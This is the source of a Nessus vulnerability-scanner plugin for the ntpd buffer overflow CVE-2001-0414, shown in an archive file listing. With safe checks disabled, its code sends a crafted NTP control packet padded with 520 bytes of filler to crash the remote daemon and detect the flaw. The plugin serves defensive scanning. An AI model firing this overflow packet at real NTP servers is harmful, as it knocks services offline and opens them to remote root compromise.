home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / ntp_overflow.nasl < prev    next >
Text File  |  2005-01-14  |  3KB  |  118 lines

  1. if(description)
  2. {
  3.  script_id(10647);
  4.  script_bugtraq_id(2540);
  5.  script_cve_id("CVE-2001-0414");
  6.  script_version ("$Revision: 1.19 $");
  7.  
  8.  
  9.  name["english"] = "ntpd overflow";
  10.  script_name(english:name["english"]);
  11.  
  12.  desc["english"] = "
  13. The remote NTP server was vulnerable to a buffer
  14. overflow attack which allows anyone to use it to
  15. execute arbitrary code as root.
  16.  
  17. Solution : disable this service if you do not use it, or upgrade
  18. Risk factor : High";
  19.  
  20.  script_description(english:desc["english"]);
  21.  
  22.  summary["english"] = "crashes the remote ntpd";
  23.  script_summary(english:summary["english"]);
  24.  
  25.  script_category(ACT_MIXED_ATTACK); # mixed
  26.  
  27.  
  28.  script_copyright(english:"This script is Copyright (C) 2001 Renaud Deraison");
  29.  family["english"] = "Gain root remotely";
  30.  family["francais"] = "Passer root α distance";
  31.  script_family(english:family["english"]);
  32.  exit(0);
  33. }
  34.  
  35.  
  36.  
  37. function ntp_installed()
  38. {
  39. data = raw_string(0xDB, 0x00, 0x04, 0xFA, 0x00, 0x01,
  40.               0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,
  41.           0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  42.           0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  43.           0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  44.           0x00, 0x00, 0xBE, 0x78, 0x2F, 0x1D, 0x19, 0xBA,
  45.           0x00, 0x00);
  46.  
  47. soc = open_sock_udp(123);
  48. send(socket:soc, data:data);
  49. r = recv(socket:soc, length:4096);
  50. close(soc);
  51. if(strlen(r) > 10)
  52.  {
  53.  return(1);
  54.  }
  55. return(0);
  56. }
  57.  
  58. function ntp_filter()
  59. {
  60.  data = raw_string(0x16, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00);
  61.   soc = open_sock_udp(123); 
  62.   send(socket:soc, data:data);
  63.   r = recv(socket:soc, length:4096);
  64.   close(soc);
  65.   if(r){
  66.     p = strstr(r, "version=");
  67.     if (! p) p = strstr(r, "processor=");
  68.     if (! p) p = strstr(r, "system=");
  69.     p = ereg_replace(string:p, pattern:raw_string(0x22), replace:"'");
  70.     if(egrep(pattern:"[^x]ntpd (4\.[1-9]|5\..*)", string:p))return(1);
  71.     return 0;
  72.     }
  73.   else return 1; # Windows
  74. }
  75.  
  76. if(!(get_udp_port_state(123)))exit(0);
  77.  
  78.  
  79. if(ntp_installed())
  80. {
  81. if(safe_checks())
  82.  { 
  83.   if(ntp_filter())exit(0);
  84.  warn = "
  85. An NTP server is running on the remote host. Make sure that
  86. you are running the latest version of your NTP server,
  87. as some versions have been found out to be vulnerable to
  88. buffer overflows.
  89.  
  90. *** Nessus reports this vulnerability using only
  91. *** information that was gathered. Use caution
  92. *** when testing without safe checks enabled.
  93.  
  94. If you happen to be vulnerable : upgrade
  95. Solution : Upgrade
  96. Risk factor : High";
  97.  
  98.   security_warning(port:123, protocol:"udp", data:warn);
  99.   exit(0);
  100.  }
  101.  
  102.  
  103. soc = open_sock_udp(123);
  104. buf = raw_string(0x16, 0x02, 0x00, 0x01, 0x00, 0x00,
  105.              0x00, 0x00, 0x00, 0x00, 0x01, 0x36, 0x73, 0x74,
  106.          0x72, 0x61, 0x74, 0x75, 0x6D, 0x3D) + crap(520);
  107.  
  108. send(socket:soc, data:buf);
  109.  
  110.  
  111. buf = raw_string(0x16, 0x02, 0x00, 0x02, 0x00, 0x00,
  112.              0x00, 0x00, 0x00, 0x00, 0x00, 0x00);
  113.  
  114. send(socket:soc, data:buf);
  115. close(soc);
  116. if(!(ntp_installed()))security_hole(port:123, protocol:"udp");
  117. }
  118.